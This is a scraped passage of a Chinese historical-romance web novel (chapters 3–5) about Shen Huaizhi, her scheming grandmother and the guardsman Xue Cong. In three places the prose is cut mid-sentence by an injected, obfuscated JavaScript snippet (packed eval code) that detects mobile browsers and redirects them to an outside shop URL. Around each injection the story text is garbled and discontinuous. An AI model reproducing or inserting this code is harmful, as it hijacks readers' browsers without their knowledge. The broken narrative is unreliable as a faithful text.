这番话沈怀栀说得可谓是情真意切,就是那话语中的意有所指明显是在针对谁,反正五姑娘这会儿就差气得暴跳如雷了。 对于自己这位五姐,沈怀栀也只会多说这么一句,年纪大了见多了奇葩人和污糟事以后,她学会了一个很重要的人生道理,那就是不强求度人,尊重他人命运。 老夫人给五姑娘寻的人家固然有许多瑕疵,但在当年沈怀栀一力尽心帮助她改变命运却被背刺之后,她也发现了,自己这位五姐天生是只为虎作伥的伥鬼。 想要救伥鬼脱离虎穴?不,她只会毫不犹豫的拽着你的手共同沉沦污浊泥泞。 总之,沈怀栀曾经在自己这位五姐身上跌了一个极重的跟头,若不是薛琮出手帮她善后,她恐怕也落不得好。 至于被五姐当面发疯痛斥她虚情假意虚伪施舍什么的,在沈怀栀看来,不重要的人的疯狗乱吠,无足轻重,想要她因为这份指责难过崩溃痛彻心扉?也纯属做梦。 自此,沈怀栀和五姐之间就形同陌路,除了大家都姓沈,行事需要顾及一二沈家的颜面之外,彼此之间再无其他。 反正,沈怀栀是一点都不为自己的冷酷感到心虚与愧疚的,倒不如说,她很庆幸自己在这点上像了她的祖母沈老夫人,至少,有这么分秉性在,她没过得太辛苦,说起来也算是来自祖母的馈赠了。 沈家如今未嫁的这些姑娘里,也就五姑娘六姑娘和沈怀栀是年龄相近需要操心婚事的,下面几位妹妹年纪尚小,性情还未定,平日里存在感并不强,是以这会儿也安静乖巧的跟在几位姐姐身后,一路去往荣辉堂。 天色将晚,日落西山之后,荣辉堂里点灯亮烛,一场丰盛的家宴开始了。 沈家规矩大,素来奉行食不言寝不语,是以,直到晚饭结束,大家各自捧了清茶漱口消食,上座的沈老夫人才缓缓开口。 “栀姐儿今天精神和胃口都不错,看起来是大好了,这样我老人家就放心了。” “多谢祖母挂怀,”沈怀栀笑道,“都是孙女不孝,往日行事不周惹得祖母操心惦记,祖母放心,经此一遭,日后孙女行事必定谨记分寸,万不会再堕了沈家声名与颜面。” 这话说得敞亮,饶是沈老夫人对这个孙女有着诸多不满意,这会儿也挑不出什么不妥来,但正是因为这份好似回到从前一般的懂事与贴心,才愈发让她觉得家里这个七姑娘是个不好摆弄的刺头儿。 心中有些不虞的沈老夫人,下意识用锐利眼神将沈怀栀从上到下打量了个彻底,不得不说,或许是因为之前的事吃了教训冷了心肠,今日的栀姐儿看起来当确实几分脱胎换骨之感。 历经世事的老人家眼睛毒得很,打量一番过后,心中不由自主的下了结论。 她家这个七姑娘,本就是华光内蕴的蚌中珠,现如今,这份光彩似乎已经开始无知无觉的绽放,只差一个合适的时机就能彻底将璀璨展露于人前。 老夫人心说,不怪老头子当年要给孙女取字真珠,真珠通珍珠,确实是货真价实的珍贵宝珠,要不然她也不会相中这个孙女做振兴家族的进身之阶。 也就是现在圣人年纪太大,若是年岁再轻些,她少不得筹谋一番将人送进宫里去搏泼天富贵,否则哪至于沦落到去盘算什么国公与王爷的内宅,想到这里,沈老夫人有些感叹,幸好,就算栀姐儿不听话,行事出格了些,这出格的对象也未曾让人失望。 虽行事不太合她心意,但到底是有几分本事的,否则也不会让侯府太夫人松口,要知道京中相中薛世子的人家那么多,其中还不乏郡主等诸多闺秀,能在行事出格的情况下还被秉性苛刻的太夫人相中,足见栀姐儿的出挑,这么一想,沈老夫人心中也算有几分安慰。 在座祖孙闲聊几句之后,沈老夫人将话扯到正题,“今日祖母叫你们来,是为了几日之后康元长公主府上的赏花宴,近来京中难得有热闹宴会,到时候让你们大伯母带着一起去,你们这些年轻小姑娘也去凑凑趣见见世面。” “听说这次长公主邀请了不少人家,年轻人也多,你们正好顺道和小姐妹们联络联络感情……” 听话听音儿,自家祖母向来不爱把话说得太直白,在座的年轻姑娘们只是略微一想,就明白了老夫人的意思。 前阵子因着宫中圣人为河道贪腐案大发雷霆的缘故,京里现在谁家都是夹着尾巴做人,生怕不小心冒出头被怒气难消的圣人拿来做出气筒,因而本该是每年最为热闹的缔结年轻人姻缘的春日盛会,突然就冷到了谷底。 而康元长公主作为圣人最为宠爱的女儿,着实在御前有几分面子,敢在此时筹办热闹的赏春宴,诸多请帖送到各家后,大家赴宴的热情极高,毕竟年龄不等人,各家等着婚嫁的小儿女一茬茬的,怎么舍得错过眼前这个极好的场合与时机呢。 五姑娘最是爱这些热闹场合,因此一脸热情的道,“祖母,要是赴宴的话,那我是不是得做两条新裙子?之前做的那些花色有些暗,怕是不太合适。” 沈老夫人笑道,“既然要做,那你们姐妹几个就都多做两条,既是出门见世面,就合该穿得鲜亮些,如此才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当祖孙之间的天伦之乐结束后,沈怀栀单独留了下来,一副有话想要和长辈说的模样。 “栀姐儿这是想和我说什么?”沈老夫人温声笑问。 “回祖母,孙女是明日想出府一趟,所以提前与祖母报备一下,以免祖母忧心。”沈怀栀道。 “出府?”老夫人问,“栀姐儿打算去哪儿,需不需要祖母安排两个人跟着,以保安全。” “孙女打算去小青山,”沈怀栀一副情真意切模样,“听说文谦先生近日在小青山出游,故而我想去碰碰运气,若是可以,想求一副先生的墨宝。” 听到“文谦先生”四个字,沈老夫人瞬间来了精神,一双眼睛亮得出奇。 要知道文谦先生姚文廉其人,乃是当世知名的儒学宗师与治学大家,曾经奉命主修前朝史书,还参与制定了朝廷诸多仪制,如果不是因为当年作为太子太傅牵扯进了废太子案,被圣上厌弃选择辞官归乡,现下早已是天下间人人敬仰的文坛宗主。 不过因为顾忌圣人如今喜怒不定的脾性,所以士林间对文谦先生的推崇有所收敛,但即便如此,这依旧是一位人人趋之若鹜想要拜见求学的大儒,因此不怪沈老夫人失态。 “栀姐儿,你有把握能见到文谦先生?”沈老夫人有些焦急的追问,“还是说,你只是去碰碰运气?” “把握称不上,只是手里恰巧有一本前朝京明先生所著书籍,”沈怀栀道,“我自己暂且辨别不出真假,听说文谦先生对京明先生推崇备至,所以想趁此机会上门拜访。” 至于能不能借着拜访的机会求得大儒墨宝,那就是另一回事了。 听完孙女的计划,沈老夫人心中瞬间闪过许多想法,若是能与文谦先生搭上关系,进可让大房文才出众一心求学的孙子有亲近儒学大家的机会,退可用大儒墨宝来讨好薛世子和薛家太夫人,实在是一笔极其划算的生意。 有了一举多得的结论之后,沈老夫人再看自家老七,当真是满眼喜爱,不愧是她精心养育的宝珠,确实聪慧又机灵,总能在最合适的时机做最好的事。 “好,祖母答应你,”沈老夫人痛快道,“栀姐儿你尽管放心大胆的去做,只要不损沈家颜面,你怎么做祖母都支持,若是银钱上不趁手,尽管去账上支取,祖母必不会给你拖后腿。” “那孙女就多些祖母支持了。”沈怀栀笑道,“明日孙女必定竭尽全力施为,以求能得偿所愿。” “很好,不愧是我沈家的姑娘,就是有志气。”沈老夫人满意的将人夸赞一番后,心情愉悦的离开了。 于是,翌日一大早,准备妥当的沈家七姑娘带着一干人等出门了。 马车之外,是熟悉又陌生的旧日风景,去往小青山的路上,迎着和煦的春风与稍微有些刺眼的阳光,沈怀栀忍不住眯了下眼。 老师,经年重逢,这次不用遗憾相遇太晚了。 4. 第 4 章 让人安静沉睡的春夜里,永嘉侯府却有人灯烛相伴,夜深未眠。 “世子,五皇子又遣人私底下交好梁副将了,”侍卫低声向坐在上首的年轻人禀报,“但梁副将似乎更为偏向九皇子……” 即便时值深夜,依旧姿态挺拔不见半分松散懈怠的永嘉侯世子坐在桌案后,一身杀伐果断的武将气势,于烛火晃动之间愈发慑人。 尚且年轻的薛琮,有着让年轻的沈家七姑娘一见倾心的英俊逼人,剑眉凤眼之间是令人望而生畏的冷冽与肃穆。 “九皇子……”薛琮抬眼,“八皇子那里有什么反应?” 侍卫略想了想才道,“八皇子那里,一如往常。” “倒是比我想象中沉得住气。”薛琮淡淡道,“传令下去,让人盯紧了八皇子,但凡有异动,立时来报。” “遵命!” 深沉夜里,薛琮思量着如今的朝堂形势。 自从多年前圣人废太子之后,朝堂之上便不太安稳,如今因着圣人年老体衰的缘故,这为了争夺大位掀起的波澜更是一重接着一重。 说起来,当今圣人子嗣并不算少,皇子公主加起来二十几个,尤其是皇子们,序齿从大皇子到如今尚且不到五岁的十一皇子,也算是子嗣丰盈,但落到皇位承载上,却算不上多丰厚有利。 已故的废太子序齿为三皇子,皇长子和二皇子早些年被圣人委以重任和废太子争锋时还有几分风光,等废太子一过世,这两位就接连被圣人打压,从此一蹶不振,自此退隐皇位之争,落寞退场。 这两位皇子的退却,固然有年老雄狮对年轻儿子的忌惮与嫉妒,但也不乏迁怒,毕竟,废太子之死这两位可没少推波助澜落井下石,如今故人逝去,性情喜怒不定的圣人又开始怀念废太子,可以说是压得两个儿子毫无喘息余地,平日里只恨不得夹着尾巴做人。 在这两位最为年长的皇子失去竞争机会之后,下面的皇子们自然是不甘示弱积极表现的。 四皇子前两年因病早逝,五皇子外家得力,为人骄狂,是现今被鼎力支持的皇位候选人之一,并且有八皇子这个亲弟弟从旁协助,称得上是实力雄厚,六皇子好佛学,看起来与世无争,七皇子体弱多病,常年别居修养,九皇子虽出身卑微,但交游广阔礼贤下士,在外颇有几分贤王名声,至于剩下的十皇子和十一皇子,一个六岁一个五岁,尚且年幼,和这些年长的哥哥们比起来,虽有圣人几分宠爱,但真要论起来,却并无一争之力。 如今朝堂上形势如风云变幻,京中无论哪户人家,私底下都是要好好掂量一下这投效与站队的事的,毕竟,一旦行差踏错,在这样的浪潮里可谓是万劫不复。 不管他人如何心惊胆战费心权衡,在薛琮这里,他的路却是早早就定下了的。 因着永嘉侯与圣人有年少之谊,所以他自小就与皇子们一起长大,在圣人那里颇受宠爱,就算父母接连过世在家守孝那六年,圣人也多有关照,时不时宣召他入宫侍奉,考校学问武功,于薛琮来说,可以说是恩荣深厚,因而,无论圣人脾性为人如何,薛琮对他都有着无可比拟的忠诚。 或许是这份忠诚被圣人看在了眼里,薛琮这几年在御前也颇为得用,先是在圣人身边担任御前护卫镀了层金,在某年春猎因护卫得力博了一份救驾之功后,顺利调任最得圣人重用的金鳞卫,到如今已经升任为金鳞卫副统领,因着大统领年岁渐长隐有退隐之意,所以大家心知肚明如今的副统领才是真正一言九鼎之人。 这种情形下,被圣人信重的薛琮自然成为了许多人眼中的香饽饽,拉拢意图可谓是昭然若揭。 不提那些或明或暗的示好与拉拢,于薛琮来说,只要不光明正大的摆到面上,他无所谓应付周旋一二,但偏偏,因为他正值婚龄的关系,许多人顺势把主意打到了他的婚事上。 未免触怒近年来阴晴不定心思敏感的圣人,这些人对薛琮婚事的算计筹谋就格外冠冕堂皇,算是用尽了风花雪月的诸多手段,可以说在造就这两年薛琮在京中声名日盛的局面上,许多人功不可没。 想到婚事,薛琮将目光移到了自己面前的桌案之上,案上那些平铺而放的纸张中尽皆记录着诸多事关国朝命运的隐秘信息,只除了一张,上面虽只有平平无奇的寥寥数语,却道尽了一个年轻姑娘的私隐。 “沈怀栀……”薛琮视线凝在这三个字上,眉心泛起微微褶皱。 原本以为这又是一个打着爱慕他名义背后有高人指点的投机者,但没想到,背后之人没查出来,倒是查出了一腔风月。 她确实是真心爱慕他的,和其他许多心慕与算计掺半的姑娘相比,可以说是心思纯粹无垢,论起追求的手段来,也称得上是光明正大,没有那些他厌恶的污浊心机与手段。 但偏偏就是这样的她,反倒让薛琮有些难办。 犹记得白日里圣人还曾出言调侃他,“男大当婚女大当嫁,听说玄章被个沈家的小姑娘日日追着,难道真就没有几分意动?” 实话实说,目前薛琮对成婚这件事是没有半分兴趣的,他现在更在意如何在夺位之争的漩涡里坚守对圣人的忠诚,顺便,在践行这份忠诚的同时,为来日的薛家找到更好的出路。 然而,他的婚事终究是一个隐患,与其被那些身后站了无数投机者的人家筹谋得利,目前看来,沈家这个选择,确实还算不错。 尤其是,在圣人对他的婚事已经动念的情况下,他若是不想突然被赐婚什么公主郡主抑或者哪家不认识的姑娘,沈怀栀此人确实是上上之选,毕竟,能让祖母点头的姑娘,说到底差不到哪里去。 唯一麻烦的是,沈怀栀爱慕他至深…… 思及此,薛琮眉心紧皱,他对妻子的要求只有一个,那就是做好他的贤内助,至于夫妻之间,相敬如宾即可,他不耐烦沉浸情爱,以致于沈怀栀那腔情热,反倒成了这桩婚事的绊脚石。 或许他还需要再想一想,毕竟事关来日,他着实不想要一个所求甚多的麻烦妻子。 沉闷夜色过后,天边隐现微光,崭新的一天,又将来临了。 *** 春日的小青山,风景甚好。 山色清幽,阳光下到处可见山间盛开的各色花朵,尤其是前些年有人种了许多桃树之后,一到春日,山上随处可见各色粉白桃花,纷纷繁繁,放眼所及,可谓是美不胜收。 不过,这副漂亮景致仅限于南面那片山麓,沈怀栀今日此行的目的地,则位于西北处山腰的清幽竹林间。 她今日出门时专门换了一身便于行动的胡服,因着前朝有段时间胡风盛行,时人衣食住行各方面都受到影响,发展到今日,依旧留有许多痕迹,女子所着胡服就是其中一种。 考虑到今日出门要长时间在山路上行走,沈怀栀专门让身边人都换了衣裳,这不,大家登山已近半个时辰,若是着平日里的繁复衣裙,只怕早就满身狼藉。 路到中途,大家找了一处干净的地方做临时休憩之用,阳光下,可见林间隐约缥缈的雾霭,颇有如梦似幻之意。 冬青歇了口气,抽空问自家姑娘,“姑娘,您说今日咱们能见到文谦先生吗?” 京里都说文谦先生少见外人,她们今天辛苦来一遭,也不知道能不能如愿以偿,但看姑娘在老夫人面前信心满满的模样,冬青又觉得她心里定然是有成算的。 喝完水的沈怀栀理了理身上沾了草叶的袖口与靴子,神色平静的摇了摇头,“我不知道。” 闻言,冬青有些失望,自家姑娘今日要是没能如愿,恐怕日后还要多跑上几趟,为了薛世子如此辛苦,她难免有些心疼。 “不用担心,”沈怀栀拍了拍冬青的肩膀,微微一笑道,“今日我本就没打算一举成功,倒不如说,见不到才是最好的。” “姑娘的话我听不懂,”冬青叹了口气道,“不过我知道一件事,姑娘总归是比我聪明的,只要别太委屈自己,婢子没什么可计较的。” 这话一出,沈怀栀立时被逗笑,挨着冬青笑得不能自已,看起来格外愉快的样子。 “我的好冬青啊,你当真是你家姑娘离不了的好宝贝!”她笑着说。 于沈怀栀而言,自幼同她一起长大的冬青是万事皆可托付信重的心腹,否则当年也不会被她安排南下,将一应要事托付,要知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711417|144571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这份信任与依赖,便是连薛琮都不曾及,乃至于后来她信重冬娘,焉知不是因为有几分故人相似之意在里头? 沈怀栀拉着冬青继续往上走,嘴角笑意依旧,这次好了,冬青不必一个人孤零零南下,她们主仆这一世相伴随行,尽可去南面真正的品尝一次海阔凭鱼跃天高任鸟飞的自由滋味。 众人行路一个多时辰后,终于在清幽竹林间看到了一座山间小院。 院门口有两个十五六岁的书童,一个拎着锄头仿佛是刚从林间挖笋归来,另一个则站在石桌旁趁着阳光正好摊晒书籍,看起来各司其职又各得其乐。 等沈怀栀上前告知来意之后,其中一个书童有些惊讶的道,“先生在这里隐居做学问也不过才半月之久,期间并未告知任何人,姑娘是如何得知先生行踪的?” 文谦先生多年来为世人所推崇,每年想要求学攀附邀名之人不知凡几,因为不堪其扰,所以向来行踪隐秘,这次为躲避九皇子的拜会与求学,来小青山也是心血来潮之行,他们星月兼程偷摸赶路,一代大儒狼狈得宛如偷鸡摸狗之辈,谁见了不生出几分哀怜唏嘘之感。 但没想到即便如此,还是被人寻到了,书童寻砚觉得,他们家先生,又没安生日子可过了。 从寻砚口中了解缘由之后,沈怀栀没忍住笑出了声,“原来先生说的是真的,我从前还以为这只是先生逗趣的俏皮话,没想到当真曾为此苦不堪言。” “逗趣”两个字一出,寻砚眼睛亮了亮,外人只知道文谦先生文名满天下,以为他是位矜持稳重的大儒,但只有他们熟悉的人才知晓,先生固然博学通识,但性情上,却颇有几分活泼真意,是位喜欢和朋友逗趣的爽朗先生。 仅凭一句话,他就察觉出眼前这位姑娘的不同,是以也愿意多出几分耐心来与她交流,“先生昨日出门访友未归,不确定何时回来,姑娘登门拜访,不知所为何事?” “事情谈不上,只是有份孤本想要请先生勘验,”沈怀栀笑道,“据说是前朝京明先生的文作,但我才疏学浅,着实难辨真伪,所以想请文谦先生帮着一辩真伪。” 寻砚自然知晓自家先生对京明先生的喜爱与推崇,若是其他请求,他还会斟酌一二衡量再三,但涉及京明先生文作,即便对方别有所图,他也不会拒绝,毕竟他很清楚,就是自家先生本人在这里,也是不舍得回绝的,珍爱看重之物,理应有这份偏爱。 “既然事涉京明先生文作,那我就暂代我家先生收下了。”寻砚道。 沈怀栀将装了文作的木匣转交给寻砚,继而道,“这匣子里,除了京明先生文作之外,还另有一份文章想请文谦先生品评一二。” 寻砚闻言毫不意外,谁让这种事见过经过太多了呢,他只是点头,“好的,沈姑娘所言,我会尽数转述给先生的。” 沈怀栀窥见了寻砚言语背后的不以为然,她笑笑,并未多言,只是道,“承蒙关照,不过,在先生看文章之前,我还有一句话相赠,请务必如实转述。” 察觉到对方言语与态度里的郑重,寻砚收敛了几分轻浮之心,认真道,“洗耳恭听,还请沈姑娘言说。” “请问,先生还记得当年亳州与崇阳的大饥之灾吗?”沈怀栀眉目端肃语调低沉,“这就是我想请文谦先生读文章前听到的话。” 至此,寻砚终于再无半点轻浮草率,认认真真记下了沈怀栀的嘱托,随后目送一行人远去。 “阿砚,你说那位沈姑娘是什么意思?”一旁旁观了许久的寻墨开口道,“看起来奇奇怪怪的,不知道又想从先生这里求得什么。” “不管求什么,都不是你我能随意评说的,”寻砚冷声道,“阿墨,你我只是先生的书童与仆从,切记不能因势生骄。” “我知道了。”寻墨讪讪应道,一副受教模样。 倒是寻砚,想起刚才那句话,再看眼前装着文章的木匣,心思繁杂,他跟在先生身边久了,最是知晓他的脾性与抱负,这位沈姑娘一句话,怕是就能让先生辗转难眠许久。 这次,他倒是由衷的希望,这份文章能有珠玉辉映解难纾困之姿,如此才能纾解先生多年心结。 5. 第 5 章 京郊,西苑马场。 春光正好的日子里,年轻人出游兴致极高,西苑马场地方广阔又有无数游乐趣味,免不了日日聚集一大帮有钱有闲的贵族们。 今日跑马场中,依旧聚集了不少兴致勃勃游猎玩乐的公子贵女们,诸人均身着各色骑射服饰,或英姿勃发或俊俏活泼或鲜妍美丽,凡此种种不一而足。 不远处,站在遮阳亭中的贵女们此时众星捧月一般围绕着一位贵女言笑晏晏,或许是说到大家都感兴趣的话题,各个都精神极了。 “你当真没看错?是沈家的马车?”有姑娘兴奋的问。 “那我哪儿能认错啊,沈家的家徽都不是烂大街的东西,”那人嘴一撇,有些不屑的道,“再说了,她都跟在薛世子身后跑多少回了,要是这还能认错,我这双眼也不用要了!” “又不一定真是沈七,说不定是沈家其他人呢?”有人不服抬杠。 “沈家的马车,身边跟着那个叫冬青的丫头,还是往京郊这里来的,你说说看,这除了沈七还能是谁!” “我就说吧,之前她就是欲擒故纵,你看这才几天啊,不就又开始追着薛世子跑了吗?” 姑娘们聚在一起叽叽喳喳,坐在正中间的姑娘面色却不是太好看,有机灵的悄悄提醒其他人,大家一看,就知晓明月郡主是因为沈七又气上了。 在场这些人,多少都知晓一些郡主心仪薛世子的内情,但偏偏,无论是康元长公主还是永嘉侯府,两家都没有结亲的意思,尤其长公主这边,好像私下里已经和卫国公府有所默契,有意将明月郡主许配给卫国公的嫡长子,成就两家姻亲之好,据说赏花宴就是这股玉成好事的东风,所以许多人家私下里已经对家中儿女谆谆教导过。 就像今日来马场赴约的这些人,说是打着姐妹聚会的名头,受明月郡主邀约而来,但来的人哪个不清楚今日是薛世子的休沐日,早就约好和陈家公子一起来跑马,在场这些姑娘里,少有不打这两位主意的,毕竟一个是身负帝宠的勋贵新秀,一个是朝中重臣吏部尚书家备受宠爱的嫡幼子,无论哪个,都是一顶一的好夫婿人选。 现下,大家谈起因为追着薛世子跑而风头日盛的沈七,一干言语背后哪少得了羡慕嫉妒与不甘,要知道,就算时下风气宽松,对待女子言行没有那么约束苛刻,但不顾颜面名声肆意行事如沈七这般,到底还是少有。 “哎,你们说,沈七到底什么时候到啊?”有姑娘开口问道,“那边薛世子和陈公子都已经跑了两圈儿了,她怎么还不现身,我都等着急了。” 这话一下子说出了在座所有人的心声,不管是有所图谋的还是看热闹的,都挺着急的等着人来。 倒是神情一派冷淡看起来不太好惹的明月郡主,眉眼一挑,突然冷声道,“不用着急,人马上就到。” 闻言,大家面面相觑,不过瞧郡主面色欠佳,倒少有人不识趣的追问缘由。 明月郡主想起被自己派遣出去劫人的侍卫,目光深了深,不管今日沈七打什么主意,她都要她在薛琮面前出个大丑,以报自己被横刀夺爱之仇。 即使和薛家不曾有婚姻之盟,和薛琮也无心意相通的男女情思,但自认为被夺爱的明月郡主依旧单方面蛮横的将沈七视为了欲除之而后快的眼中钉,为此,丝毫不吝啬心计与手段。 这时候,明月郡主早已忘了母亲言犹在耳的谆谆教导与劝解,什么朝堂形势什么揣摩圣心,她全都抛到了脑后,更别提自己那将成的婚事和未来的前程,以上种种,皆比不上她此时一舒胸中愤懑。 不远处,和友人一起跑马的陈理,举手投足间依旧是那副让许多京中贵女心仪的潇洒恣意做派,手中一柄折扇摇来晃去,愣是将一身的卓然风姿熏陶出了几分吊儿郎当来。 但美人就是美人,天生的好容貌便是最好的修饰,是以,即便他行事格外狂放不羁,留下来的依旧是倜傥风流的名声,以致于爱慕之人甚多,丝毫不输好友薛琮。 “山有木兮木有枝,心悦君兮君不知,薛郎啊薛郎,你说你,何苦招惹这么多芳心?”陈理摇头晃脑的吟酸诗,顺道不忘揶揄一下好友,“我们今日与其说是来跑马的,倒不如说更像是来给人观景的。” “提议今日出门跑马的人是你,”薛琮语调淡淡,言辞却犀利,“还有,不必掩耳盗铃,你我彼此彼此。” 这话陈理却是不服的,“薛世子客气了,我哪儿比得上公子您的声名与风姿啊,要知道薛世子择妻这个热闹一出,姑娘们对您可是趋之若鹜,连带着在下都成了香饽饽,到哪儿都能博得姑娘们几分青睐。” 薛琮觉出好友话语里几分阴阳怪气,微挑眉看他,“说吧,是谁惹到你面前了?” 或许是因为自幼体弱被寄养在道观长大的缘故,陈理性情向来随性自然潇洒豁达,少有情绪不佳之时,今日这副模样,倒也算少见。 陈理被好友这话问得一愣,似是察觉出自己言语中的不妥,他含着笑意摇了摇头,“倒也没人惹我,纯粹是最近被亲朋好友们频频追问你我的姻缘婚事,生了几分浮躁之心而已。” “不过,我自觉自己尚且年轻,既然家中长辈都未曾严厉催逼,想来我还能再快活几年。” 薛琮看着好友摇着折扇的清俊模样,微微摇头,说起来,陈理也算是在山间世外之地跟着道长师父长大的,但只看眼前这副矜贵不凡的气度与做派,让人实难想象他的成长经历,倒是更符合他四世三公的世家出身。 “既然不着急成婚,那就少招惹一些芳心,”薛琮淡淡道,“不然我的今日就是你的明日。” “像你?”闻言,陈理眉心一跳,手上的折扇摇得快了些,彰显了主人不太平静的内心,“恕我敬谢不敏。” 未曾在此话题上多做停留,薛琮反而更关注另一件事,“如今还是春日,你这折扇未免多余了些。” 至少在薛琮眼里就显得很多余,看起来有强装潇洒之嫌,虽说陈理此人并不需要。 “折扇?”陈理挑眉,言语间几分不服,“薛郎,你这就一叶障目了,须知这可不是什么折扇,乃是本道长心爱的拂尘啊!” “拂尘”二字一出,颇有几分震耳欲聋之效,以致于薛琮难得陷入了哑口无言之境,而陈理,似乎很满意于自己这份机巧与聪敏,玩折扇的花样更多了,似乎生怕浪费了这把趁手的道具。 不欲在这个莫名其妙的话题上深入,薛琮缰绳一甩,纵马前行,几个起落间将人甩到了身后,绕着马场疾驰起来。 他身下这匹爱马是养了多年血统纯正的西域宝马,平日里难得有机会纵情奔跑,于是这会儿一旦放开来,立马跑得激情四溢。 今日来跑马本就是陈理的提议,为了不浪费这大好春光与身下这匹好马,也抓紧时间跟上,一时间,马场中尽是称赞与叫好的喧闹声。 等薛琮陈理两人比试归来,已有人上前热络奉承,“两位公子骑术出众,适才一番比较可谓是让人大饱眼福,我们这些人无不心悦诚服。” “何止我们心悦诚服,旁边那些姑娘们看得也移不开眼,”有人出言调笑道,“不知两位今日又要俘获几位姑娘的芳心了。” 旁边那些姑娘皆是京中贵女,有几位还身份不俗,这人调笑揶揄的言辞一出,就有人觉得不妥,未曾接下话茬。 薛琮不耐烦这些人的谄媚,牵着马往一旁去,陈理寒暄几句后也顺势借机离开,远离了这让人厌烦的名利场。 因着身怀武艺的关系,耳力颇好的两人在离开中途清晰的听到了“沈怀栀”这个名字,陈理脚步顿了下,低声和好友耳语,“沈七姑娘今日也来了?不是说前些日子你们刚闹得不欢而散,她待你有些冷淡了吗?” “旁人如何,我并不知晓,”薛琮淡声道,“更何况男女有别,我与沈姑娘相处,一向谨守礼仪。” 这话陈理没反驳,作为近距离旁观两人相处的常客,他很清楚薛琮说的是实情。 薛琮待沈怀栀,从相识之初就谨守礼仪,疏远冷漠,一如他待所有人般,礼节与教养之内做到了最佳,谨守边界与规矩。 但沈怀栀待薛琮,却是完全相反的,她待他尽是特殊与偏爱,像是春日里花团锦簇的盎然春色,处处可见示好与亲昵。 这样的两个人,无论是冰冷的客套与规矩,还是热情的示好与追逐,总有着其他人所羡慕之处。 因着薛家与陈家之间的交情,陈理多少知道一些隐秘内情,比如薛太夫人对沈姑娘的态度,所以这会儿他不免要问一问薛琮,“太夫人有意沈七姑娘你是知道的,玄章你呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711418|144571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,如今是个什么态度?” 薛琮不语,陈理又继续道,“虽然我是个不相干的外人,本不该对此多加置喙,但作为和沈姑娘多少有些交情的朋友,我还是要说一句,有些事,当断则断,不然反受其乱。” “尤其是,沈姑娘作为女子,在这世间动辄得咎,天然不如我们这些男人,这点你需慎重考虑。” 陈理这番话说得中肯又贴切,薛琮有些讶异的看了好友一眼,难得说了两句真心话,“如果她对我无意,这反倒是一桩门当户对的好婚事,但现下这种情况,反而称不上佳缘,只怕来日会成怨偶。” 他说,“你应当知晓我的婚事顾忌颇多,且我本人无意于风月情爱,若是贸贸然定下,于她于我而言,都非幸事。” 陈理当然知道,以好友的性情,若是真的娶了沈姑娘,来日只怕也难以回馈她同等的情意,天长日久之下,爱意失衡,确实容易生出怨怼与不平,到时候,家宅难安,这对于野心勃勃一心建功立业的薛琮而言,确实隐患颇多。 于是,最后他也只能说,“你有你的顾虑,太夫人有太夫人的考量,而沈姑娘,也有自己的索求,惟愿你们各自求得正果。” “那就借你吉言了。”薛琮道。 陈理心说,这段缘分里,只要沈姑娘不强求不偏执,那一切姻缘皆可解。 只可惜,以他对沈七的了解,她偏偏是强求的性子偏执的人,所以,目前来看,无法可解。 就在两方人马都因沈怀栀这个人而生出诸多想法时,她本人不出意料的,于万众瞩目之下登场了。 *** 沈怀栀觉得自己今日真是莫名其妙遭了一把无妄之灾。 沈家的马车好好的走在路上,突然被长公主府的护卫拦下,说是明月郡主相邀,“热情”邀请沈家七姑娘去京郊马场赴约,共赏春日美景。 老实说,这理由听起来实在是冠冕堂皇,但鉴于邀请人是明月郡主,沈怀栀对此敬谢不敏。 说起明月郡主这个人,沈怀栀对她的印象可谓是十分深刻,如果说她觉得自己年轻时尚有几分话本里恶毒女配的风范,那明月郡主本人,可谓是亲身演绎了何为真正的“恶毒”。 犹记得,在她与薛琮定亲前,这人就屡屡在各种场合里为难嘲讽于她,拉拢了一大帮贵女意图孤立她打压她,偏偏沈怀栀这个人,本性里颇有几分吃软不吃硬的倔强秉性,从不畏惧于正面对峙,是从头到尾都不肯低头。 明月郡主固然有长公主做靠山,有着郡主的尊贵身份,可沈家也并非无名小卒,也是从前朝绵延到本朝的名门世家,且沈怀栀的父亲还是镇守一方的封疆大吏,备受圣人重用,这样家世的贵女若是被宗室欺辱太甚,就是朝臣们也不同意。 于是,两人的往来交锋之中,因着沈怀栀颇有几分扯虎皮做大旗的本事,胜负差不多四六分。 沈怀栀略输一分,不过是为了康元长公主的颜面,毕竟,她并不想打了小的来了老的,长公主若下场,那就不是年轻姑娘们之间的小打小闹了,这等分寸与眼色,她还是有的。 当然,年轻时的沈怀栀只是略输一分,等薛家起势,永嘉侯府因功被新帝晋封为定国公府,无需沈怀栀再多言,一朝天子一朝臣,康元长公主这个娘家与卫国公府这个夫家接连失势后,明月郡主在她面前,再无往日底气与尊荣,也难以与她争锋。 